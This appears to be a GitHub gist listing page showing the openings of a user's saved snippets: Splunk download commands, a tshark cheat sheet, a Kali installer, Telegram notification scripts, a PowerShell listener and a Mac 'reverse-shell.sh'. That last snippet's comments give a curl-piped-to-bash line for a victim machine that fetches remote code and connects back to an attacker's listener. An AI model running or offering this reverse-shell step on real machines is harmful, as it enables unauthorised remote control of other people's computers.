Skip to content

Instantly share code, notes, and snippets.

@softdream1981
softdream1981 / splunk-Universal-Forwarders.txt
Created October 28, 2024 11:10 — forked from devops-school/splunk-Universal-Forwarders.txt
Splunk Tutorial: Install & Configure Universal Forwarders
Download File URL - https://download.splunk.com/products/splunk/releases/9.0.1/linux/splunk-9.0.1-82c987350fde-Linux-x86_64.tgz
Splunk Linux Tar file - wget -O splunk-9.0.1-82c987350fde-Linux-x86_64.tgz "https://download.splunk.com/products/splunk/releases/9.0.1/linux/splunk-9.0.1-82c987350fde-Linux-x86_64.tgz"
Splunk Linux rpm file - wget -O splunk-9.0.1-82c987350fde-linux-2.6-x86_64.rpm "https://download.splunk.com/products/splunk/releases/9.0.1/linux/splunk-9.0.1-82c987350fde-linux-2.6-x86_64.rpm"
Splunk Linux Debian file - wget -O splunk-9.0.1-82c987350fde-linux-2.6-amd64.deb "https://download.splunk.com/products/splunk/releases/9.0.1/linux/splunk-9.0.1-82c987350fde-linux-2.6-amd64.deb"
Splunk Linux Windows file - wget -O splunk-9.0.1-82c987350fde-x64-release.msi "https://download.splunk.com/products/splunk/releases/9.0.1/windows/splunk-9.0.1-82c987350fde-x64-release.msi"
=============================================
Splunk Enterprise
=============================================
wget -O splunk-8.2.6-a6fe1ee8894b-x64-release.msi "https://download.splunk.com/products/splunk/releases/8.2.6/windows/splunk-8.2.6-a6fe1ee8894b-x64-release.msi"
wget -O splunk-8.2.6-a6fe1ee8894b-windows-32.zip "https://download.splunk.com/products/splunk/releases/8.2.6/windows/splunk-8.2.6-a6fe1ee8894b-windows-32.zip"
wget -O splunk-8.2.6-a6fe1ee8894b-linux-2.6-amd64.deb "https://download.splunk.com/products/splunk/releases/8.2.6/linux/splunk-8.2.6-a6fe1ee8894b-linux-2.6-amd64.deb"
@softdream1981
softdream1981 / Blackfield vs NetExec .md
Created January 15, 2024 18:15 — forked from mpgn/Blackfield vs NetExec .md
Blackfield vs NetExec for fun and profit @mpgn_x64
@softdream1981
softdream1981 / tshark cheat sheet
Created January 4, 2024 16:43 — forked from githubfoam/tshark cheat sheet
tshark cheat sheet
============================================================================
#Wireshark installation directory: windows
C:\Program Files (x86)\Wireshark>tshark.exe
============================================================================
tshark -D #list of available interfaces
============================================================================
capture
============================================================================
tshark -i 2 #start capturing traffic on interface n°2
tshark -i 2 -a duration:10 #capture for 10 seconds, then stop
@softdream1981
softdream1981 / debian-kali.sh
Created September 15, 2022 17:00
Install Kali Linux native tools on Debian Stretch/Buster.
#!/bin/bash
# @title Debian Kali Linux Installer
# @author Kamaran Layne <github.com/KamaranL>
# @description This script will install the repo and GPG keys required to install native kali linux tools
# on your Debian installation
# check permissions
if [ "$USER" == "root" ]; then
if [ "$1" == "install" ]; then
# pre-requisites
@softdream1981
softdream1981 / mini-reverse-listener.ps1
Created April 19, 2022 16:20 — forked from staaldraad/mini-reverse-listener.ps1
A reverse shell listener in powershell
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
import requests
def telegram_bot_sendtext(bot_message):
bot_token = ''
bot_chatID = ''
send_text = 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + bot_chatID + '&parse_mode=Markdown&text=' + bot_message
response = requests.get(send_text)
@softdream1981
softdream1981 / notify_telegram_bot_ip.sh
Created August 30, 2020 21:22 — forked from tonythomas01/notify_telegram_bot_ip.sh
Bash script to post to Telegram bot when your machine IP address change #telegram #ip #bot
#!/usr/bin/env bash
# Script stores the current IP in a tmp file and later checks if it changed when run. POSTS to a Telegram bot.
# Check how you can create a bot at https://core.telegram.org/bots
old_ip=`cat /tmp/currentip`
current_ip=`wget -qO- https://ipecho.net/plain`
if [ $current_ip != $old_ip ]; then
curl -s -X POST https://api.telegram.org/bot<TELEGRAM_BOT_TOKEN>/sendMessage -d chat_id=<CHAT_ID> -d text="Machine changed IP from: ${old_ip} to ${current_ip}"
@softdream1981
softdream1981 / fix_parallels_tools_install.md
Created August 1, 2020 23:49 — forked from xiaozhuai/fix_parallels_tools_install.md
fix parallels tools install issue

install log

cd prl_fs/SharedFolders/Guest/Linux/prl_fs && make CC=cc
make[1]: Entering directory '/usr/lib/parallels-tools/kmods/prl_fs/SharedFolders/Guest/Linux/prl_fs'
make -C /lib/modules/5.0.0-25-generic/build M=/usr/lib/parallels-tools/kmods/prl_fs/SharedFolders/Guest/Linux/prl_fs CC=cc
make[2]: Entering directory '/usr/src/linux-headers-5.0.0-25-generic'
  CC [M]  /usr/lib/parallels-tools/kmods/prl_fs/SharedFolders/Guest/Linux/prl_fs/super.o
/usr/lib/parallels-tools/kmods/prl_fs/SharedFolders/Guest/Linux/prl_fs/super.c: In function 'prlfs_remount':
/usr/lib/parallels-tools/kmods/prl_fs/SharedFolders/Guest/Linux/prl_fs/super.c:119:21: error: 'MS_RDONLY' undeclared (first use in this function); did you mean 'IS_RDONLY'?
  if ( (!((*flags) & MS_RDONLY) && PRLFS_SB(sb)->readonly) ||
@softdream1981
softdream1981 / reverse-shell.sh
Created July 23, 2020 10:47 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls